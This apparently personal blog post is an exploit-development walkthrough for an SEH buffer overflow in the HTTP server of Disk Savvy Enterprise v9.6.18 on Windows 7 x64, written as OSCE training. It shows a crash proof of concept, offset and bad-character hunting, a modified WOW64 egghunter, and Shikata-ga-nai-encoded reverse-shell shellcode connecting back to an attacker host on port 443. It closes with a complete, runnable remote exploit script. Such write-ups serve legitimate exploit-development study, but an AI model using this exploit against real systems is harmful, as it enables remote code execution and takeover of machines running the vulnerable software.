Disk Savvy Enterprise v9.6.18 – Buffer Overflow (SEH) Win 7 x64 Exploit Development

Hey folks. Still training hard for my upcoming OSCE (whoop whoop) certification exam. And, in order to do so, I started replicating exploits from exploit-db.

The vulnerable software

One application I found there is called Disk Savvy Enterprise and there’s already a nice exploit out for version 9.4.18 (mad props to Peter Baris for this). But since in the meantime the vendor released a newer version (v9.6.18) and I wanted to a] find out, if the vendor fixed their mistake and b] try out some stuff on a 64 Bit Windows, I decided to give this software/version a try.

We’ll use the 32 bit version of the software (running on a 64 bit OS), so we have to build an exploit that works in a Windows 7 WOW64 environment (check Wikipedia for some details what WOW64 is).

To get a working POC for crashing the software, I took some information from the existing exploit-db exploit and learnt that version 9.4.18 of the application crashes when sending 6000 bytes of data in the PATH of a HTTP GET request. Disk Savvy Enterprise features a server component (which you can enable in the app configuration), accepting HTTP requests, listening on Port 80 – which we plan to exploit. You can download the vulnerable app (32 Bit) version here.

So… let’s start. I’ll develop this exploit on a fully patched Windows 7 x64 (running in a VM) by using Immunity Debugger, Mona.py and a Kali VM (simulating the attacker).

Crashing it

First of all, we need a crash 🙂 We’ll flood the application’s web server with 6000 “A” characters sent as GET location. This can be achieved with the following skeleton Python code:


import socket, sys

host = "172.16.85.163"
port = 80

payload = 6000 * "A"

buffer = "GET /"+payload+" HTTP/1.1\r\n"
buffer+= "Host: "+host+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: http://"+host+"/login\r\n"
buffer+="Connection: keep-alive\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: 5900\r\n\r\n"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()

We enable the web server in the app config and attach Immunity Debugger to the disksvs.exe process. Running the Crash-POC gives us this:

1.png

Nice. It crashes 🙂 And the access violation and stuff in registers (e.g. the string “Invalid HTTP POST Content…”) seems to point to some exception handler activity we kind of screwed up by overwriting the Structured Exception Handler (SEH). Let’s validate by taking a look at the SEH config after the crash.

2

Bingo. The SEH got overwritten with 0x41414141 (or 4* “A”) – exactly the data we were sending in our exploit buffer (“payload”).

So we’re dealing here with a classical SEH overwrite exploit.

A classical SEH overwrite

Moving on, we want to utilise the power of mona ™ for setting up the basic framework for the SEH exploit. And in order to give mona this power we need to place a string with unique data in our exploit buffer so that mona can calculate the required offsets.

So we quickly generate 6000 bytes of pattern data with the command:


!mona pc 6000

3

Mona outputs the data into a file called “pattern.txt” – default location is the installation directory of Immunity Debugger. The pattern is stored there in multiple formats for easy copy&paste. So we copy, we paste and we re-run our exploit.

Another crash. Of course. And this time we ask mona to analyze the SEH situation and propose a suitable exploit/buffer structure. The command for that is:


!mona sehchain

4

Nice stuff. So mona found out that the four bytes at position 2487 of our buffer overwrite the next SEH entry and that the then following four bytes control the current SEH.

A classical SEH exploit is structured like this:

  • Overwrite SEH with an address containing a combination of POP POP RET instructions
  • When the processor executes these 3 commands, it basically increases the stack pointer by 8 (by doing POP twice) and then does a RET, which basically jumps to the address which is then on top of the stack. And this usually is the address of “Next SEH” (or nSEH)
  • So the processor will then jump to our nSEH code where we place a short JMP instruction to hop over the the next 6 bytes (from stage 1 into stage 2), where ….
  • … we then arrive directly after the position of the 4-byte SEH, giving us a convenient place to store more code to execute (stage 2)

So a typical structure looks like this.

[Junk to reach correct offset] – [JMP +6 or Stage1] – [POP-POP-RET Address] – [Stage2] – [More junk to fill up buffer]

Next thing we need is a bit of memory where we can find this POP-POP-RET combination. This memory should – best case – without ASLR, DEP and/or REBASE. We want a stable memory location which can run code and which doesn’t change on every reboot/run of the application. And instead of manually checking all loaded program modules, we use mona to go on the hunt for us.

The code to do so is:


!mona seh

This gives us a LOT of usable locations. We decide to take the first one (0x100519b3):


0x100519b3 : pop ebx # pop ecx # ret 0x20 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\Disk Savvy Enterprise\bin\libspp.dll)

So our adjusted exploit code looks like this:


junk = 2487 * "A"

# jmp forward $+6
nSEH = "\xeb\x06\x41\x41"

# 0x100519b3 (POP POP RET)
SEH = "\xb3\x19\x05\x10" 

shellcode = 500 * "B"

filler = (6000-len(junk)-8-len(shellcode)) * "C"

payload = junk + nSEH + SEH + shellcode + filler

Let’s verify that our idea works. We set a breakpoint to 0x100519b3 and run the exploit. After then accepting the exception (basically telling Immunity to execute the program’s SEH) we safely land at our breakpoint. Nice. This works great so far.

5.png

When we now step through the next instructions (POP, POP and RET) we redirect the program flow to our JMP +6 instruction right before the SEH.

6

This JMP instruction then brings us into our buffer at 0x1c6ff64 – which is directly after the SEH value and is currently filled with “B” characters (0x42). Here the full dump of the relevant bytes. nSEH (4 bytes) – SEH (4 bytes) – “B” Buffer (many bytes).

7

Great. So we now have a buffer that, when sent to port 80 of the application, allows us to place and execute arbitrary code at the position of the “B” buffer.

Hunting for bad characters

Next step always is to find out if there are any bad characters. Since we’re basically sending a string to a web server, we can expect to have certain “string specific” bad characters like space, line feed or carriage return. These need to be avoided in order to not have our buffer mangled and/or truncated by the application. We need to make sure that every byte we put into our buffer gets written 1:1 to the applications memory.

Our attempt will be to generate an array of all possible byte codes (0x00 – 0xFF) and then verify whether the application safely passes those bytes to its stack.

We again use mona to generate such array. The command to do so (and yes, we’re uber smart, so we already omit the ‘\x00’ since that never is a good idea when using strings :-)) is this:


!mona ba -cpb '\x00'

8

Mona generates a file called “bytearray.txt”. We pull the data from there and insert it into our exploit code. Re-running the exploit gives us a crash … but the SEH pointer doesn’t get overwritten with our expected value. This means that something unexpected happened.

We’ll check the stack and compare the bytes there with the prepared bytearray bytes.

9

Ah. There we go. Right after our SEH at 0x1bedac0 we see the bytearray beginning with 0x01 – but it’s truncated after 0x08 so we can expect the 0x09 is a bad character. Removing that we try again and inspect the stack again.

10

Hmm…. No, not really. Still truncated. So this could also be 0x0a. We get rid off that one and try again. Checking the stack:

11

That looks good. We now can find all our bytes on the stack. So we assume that the bad characters are 0x00, 0x09 and 0x0a. But wait… The SEH still doesn’t the value we pass in our buffer. So we still haven’t found all bad characters. We need to fix this until we get a clean SEH overwrite again.

The “usual suspects” when sending strings are 0x0d (CR) and 0x20 (SPACE). We add them to our list of bad characters, giving us this total list of bytes we have to avoid.


'\x00\x09\x0a\0x0d\0x20'

Trying the exploit again with these bytes excluded again gives us a smooth entry into our SEH (setting a breakpoint here helps to verify the correct program flow).

12.png

Great! This looks good. So we now have everything we need. Let’s recap what we have until here.

  • We control the SEH (the location that gets executed when a program exception occurs)
  • Stage 1 (the nSEH bytes) is set to jump into stage 2 (the “B” buffer)
  • We clearly identified a place where we can put our stage 2 code
  • We know which bytes have to be avoided so that our stage 2 code doesn’t get screwed-up/mangled/modified/changed

Egghunter extravaganza

Of course we wanna use the egghunter concept in this exploit (because it’s fun). This allows us to have a small stage 2 code that searches the program memory for an egg (a defined tag = a defined set of bytes). We will use this “egg” to mark the memory location of our stage 3 shellcode.

I explained the basic idea of egghunters in one of my SLAE blog posts.

So we’re going for the following exploit/buffer structure.

JUNK – EGG – SHELLCODE – nSEH – SEH – EGGHUNTER – FILLER

Plan is to

  • Overwrite the SEH
  • Execute the code in nSEH
  • Jump to egg hunter code location
  • Egghunter searches memory for a defined tag/string (here: “w00tw00t”)
  • Egghunter executes our shellcode/payload (stage 3)
  • Receive a reverse shell

Since we’re dealing with a Win 7 x64 (WOW64) environment, we cannot use the standard, win32 egghunter. Luckily corelan has this nice blog post where they published a working egg hunter.

One small change: Since this egghunter implementation tends to crash when reaching upper memory regions without finding an egg (this can happen if the egghunter’s – random – start address, which is identified by the value that’s in edx, is too high to find a low memory egg). To avoid this, we force the egghunter to start hunting at memory address ZERO. We do this by moving ZERO to edx (with the handy instruction xor edx, edx).

Here the byte code for the modified egghunter:


egghunter = (
 "\x33\xd2" # xor edx, edx
 "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
 "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
 "\x2e\x5a\x3c\x05\x74\xea\xb8"
 "\x77\x30\x30\x74" # tag w00t
 "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
 "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"
 )

Let’s pop us a shell!

So… what’s missing? Yes, the shellcode. We quickly generate a windows tcp reverse shell to port 443 of our Kali box. And of course we’re avoiding the bad characters we found earlier.

Ah yes, and we prepend the shellcode with our egg – the “w00tw00t” string the egghunter is expecting to find in memory.


# bad characters: \x00\x09\x0a\0x0d\0x20
# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.85.162 LPORT=443 -b '\x00\x09\x0a\0x0d\0x20' -f c
shellcode = (
 "w00tw00t" # egghunter tag
 "\xdb\xd2\xd9\x74\x24\xf4\xbb\x81\xe2\x25\x79\x5a\x31\xc9\xb1"
 "\x52\x83\xc2\x04\x31\x5a\x13\x03\xdb\xf1\xc7\x8c\x27\x1d\x85"
 "\x6f\xd7\xde\xea\xe6\x32\xef\x2a\x9c\x37\x40\x9b\xd6\x15\x6d"
 "\x50\xba\x8d\xe6\x14\x13\xa2\x4f\x92\x45\x8d\x50\x8f\xb6\x8c"
 "\xd2\xd2\xea\x6e\xea\x1c\xff\x6f\x2b\x40\xf2\x3d\xe4\x0e\xa1"
 "\xd1\x81\x5b\x7a\x5a\xd9\x4a\xfa\xbf\xaa\x6d\x2b\x6e\xa0\x37"
 "\xeb\x91\x65\x4c\xa2\x89\x6a\x69\x7c\x22\x58\x05\x7f\xe2\x90"
 "\xe6\x2c\xcb\x1c\x15\x2c\x0c\x9a\xc6\x5b\x64\xd8\x7b\x5c\xb3"
 "\xa2\xa7\xe9\x27\x04\x23\x49\x83\xb4\xe0\x0c\x40\xba\x4d\x5a"
 "\x0e\xdf\x50\x8f\x25\xdb\xd9\x2e\xe9\x6d\x99\x14\x2d\x35\x79"
 "\x34\x74\x93\x2c\x49\x66\x7c\x90\xef\xed\x91\xc5\x9d\xac\xfd"
 "\x2a\xac\x4e\xfe\x24\xa7\x3d\xcc\xeb\x13\xa9\x7c\x63\xba\x2e"
 "\x82\x5e\x7a\xa0\x7d\x61\x7b\xe9\xb9\x35\x2b\x81\x68\x36\xa0"
 "\x51\x94\xe3\x67\x01\x3a\x5c\xc8\xf1\xfa\x0c\xa0\x1b\xf5\x73"
 "\xd0\x24\xdf\x1b\x7b\xdf\x88\x8f\x6c\x8a\xea\xb8\x8e\x34\xea"
 "\x83\x06\xd2\x86\xe3\x4e\x4d\x3f\x9d\xca\x05\xde\x62\xc1\x60"
 "\xe0\xe9\xe6\x95\xaf\x19\x82\x85\x58\xea\xd9\xf7\xcf\xf5\xf7"
 "\x9f\x8c\x64\x9c\x5f\xda\x94\x0b\x08\x8b\x6b\x42\xdc\x21\xd5"
 "\xfc\xc2\xbb\x83\xc7\x46\x60\x70\xc9\x47\xe5\xcc\xed\x57\x33"
 "\xcc\xa9\x03\xeb\x9b\x67\xfd\x4d\x72\xc6\x57\x04\x29\x80\x3f"
 "\xd1\x01\x13\x39\xde\x4f\xe5\xa5\x6f\x26\xb0\xda\x40\xae\x34"
 "\xa3\xbc\x4e\xba\x7e\x05\x7e\xf1\x22\x2c\x17\x5c\xb7\x6c\x7a"
 "\x5f\x62\xb2\x83\xdc\x86\x4b\x70\xfc\xe3\x4e\x3c\xba\x18\x23"
 "\x2d\x2f\x1e\x90\x4e\x7a")

So the final exploit buffer structure looks like this:


junk = (2487-len(shellcode)) * "A"
filler = (6000-len(junk)-8-len(shellcode)-len(egghunter)) * "C"
payload = junk + shellcode + nSEH + SEH + egghunter + filler

Let’s give this a try! We execute the exploit, set a breakpoint to our pop-pop-ret address (0x10051b3) and we get here:

13

Stepping through this, we reach our short jump in nSEH:

14

Stepping forward, we reach the modified egghunter (note the xor edx, edx as first instruction):

15

We set a breakpoint at the JMP EDI instruction at 0x1f9ff99 and wait until the egghunter finds the egg and is ready to jump to our shellcode (which address then is in EDI).

Please note that in order to watch the egghunter work, you need to ignore the various invalid access exceptions Immunity is giving you. You can do that by ignoring the “last exception” in the Immunity Debugger configuration.

So we finally reach this bit of egghunter code:

16

Nice. Egghunter is now ready to jump to our shellcode – located at the memory address in EDI. Stepping forward, we enter our shellcode.

17.png

And this, my friends, is the Shikata-ga-nai decoder stub of our shellcode. Its duty is to decode our shellcode and, once this is done, jump to it – hopefully giving us a reverse shell.

Hitting F9 to let the decoder do its work, we finally reach my favourite part:

18

TADAAAA!! A shell!! Haha 🙂 So that worked out pretty nicely.

Here the complete source code of the exploit. Since my code kind of looks like the code that’s already on Exploit-DB, it’d be pointless (and lame) to submit it there so this work here can be considered as a pure fun/training exercise for me (and hopefully for you, too!).


import socket, sys

host = "172.16.85.163"
port = 80

# jmp $+6
nSEH = "\xeb\x06\x41\x41"

# pop pop ret @ 0x100519b3 
SEH = "\xb3\x19\x05\x10"

# bad characters: \x00\x09\x0a\0x0d\0x20
# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.85.162 LPORT=443 -b '\x00\x09\x0a\0x0d\0x20' -f c
shellcode = ( 
 "w00tw00t" # egghunter tag
 "\xdb\xd2\xd9\x74\x24\xf4\xbb\x81\xe2\x25\x79\x5a\x31\xc9\xb1"
 "\x52\x83\xc2\x04\x31\x5a\x13\x03\xdb\xf1\xc7\x8c\x27\x1d\x85"
 "\x6f\xd7\xde\xea\xe6\x32\xef\x2a\x9c\x37\x40\x9b\xd6\x15\x6d"
 "\x50\xba\x8d\xe6\x14\x13\xa2\x4f\x92\x45\x8d\x50\x8f\xb6\x8c"
 "\xd2\xd2\xea\x6e\xea\x1c\xff\x6f\x2b\x40\xf2\x3d\xe4\x0e\xa1"
 "\xd1\x81\x5b\x7a\x5a\xd9\x4a\xfa\xbf\xaa\x6d\x2b\x6e\xa0\x37"
 "\xeb\x91\x65\x4c\xa2\x89\x6a\x69\x7c\x22\x58\x05\x7f\xe2\x90"
 "\xe6\x2c\xcb\x1c\x15\x2c\x0c\x9a\xc6\x5b\x64\xd8\x7b\x5c\xb3"
 "\xa2\xa7\xe9\x27\x04\x23\x49\x83\xb4\xe0\x0c\x40\xba\x4d\x5a"
 "\x0e\xdf\x50\x8f\x25\xdb\xd9\x2e\xe9\x6d\x99\x14\x2d\x35\x79"
 "\x34\x74\x93\x2c\x49\x66\x7c\x90\xef\xed\x91\xc5\x9d\xac\xfd"
 "\x2a\xac\x4e\xfe\x24\xa7\x3d\xcc\xeb\x13\xa9\x7c\x63\xba\x2e"
 "\x82\x5e\x7a\xa0\x7d\x61\x7b\xe9\xb9\x35\x2b\x81\x68\x36\xa0"
 "\x51\x94\xe3\x67\x01\x3a\x5c\xc8\xf1\xfa\x0c\xa0\x1b\xf5\x73"
 "\xd0\x24\xdf\x1b\x7b\xdf\x88\x8f\x6c\x8a\xea\xb8\x8e\x34\xea"
 "\x83\x06\xd2\x86\xe3\x4e\x4d\x3f\x9d\xca\x05\xde\x62\xc1\x60"
 "\xe0\xe9\xe6\x95\xaf\x19\x82\x85\x58\xea\xd9\xf7\xcf\xf5\xf7"
 "\x9f\x8c\x64\x9c\x5f\xda\x94\x0b\x08\x8b\x6b\x42\xdc\x21\xd5"
 "\xfc\xc2\xbb\x83\xc7\x46\x60\x70\xc9\x47\xe5\xcc\xed\x57\x33"
 "\xcc\xa9\x03\xeb\x9b\x67\xfd\x4d\x72\xc6\x57\x04\x29\x80\x3f"
 "\xd1\x01\x13\x39\xde\x4f\xe5\xa5\x6f\x26\xb0\xda\x40\xae\x34"
 "\xa3\xbc\x4e\xba\x7e\x05\x7e\xf1\x22\x2c\x17\x5c\xb7\x6c\x7a"
 "\x5f\x62\xb2\x83\xdc\x86\x4b\x70\xfc\xe3\x4e\x3c\xba\x18\x23"
 "\x2d\x2f\x1e\x90\x4e\x7a")

# corelan win7 WOW64 egghunter, forced to start low mem search first
# by setting edx to zero
# https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
egghunter = (
 "\x33\xd2" # xor edx, edx
 "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
 "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
 "\x2e\x5a\x3c\x05\x74\xea\xb8"
 "\x77\x30\x30\x74" # tag w00t
 "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
 "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"
 )

junk = (2487-len(shellcode)) * "A"

filler = (6000-len(junk)-8-len(shellcode)-len(egghunter)) * "C"

payload = junk + shellcode + nSEH + SEH + egghunter + filler

buffer = "GET /"+payload+" HTTP/1.1\r\n"
buffer+= "Host: "+host+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: http://"+host+"/login\r\n"
buffer+="Connection: keep-alive\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: 5900\r\n\r\n"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()

I hope you enjoyed reading this – very long – blog post.

Take care and talk soon!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s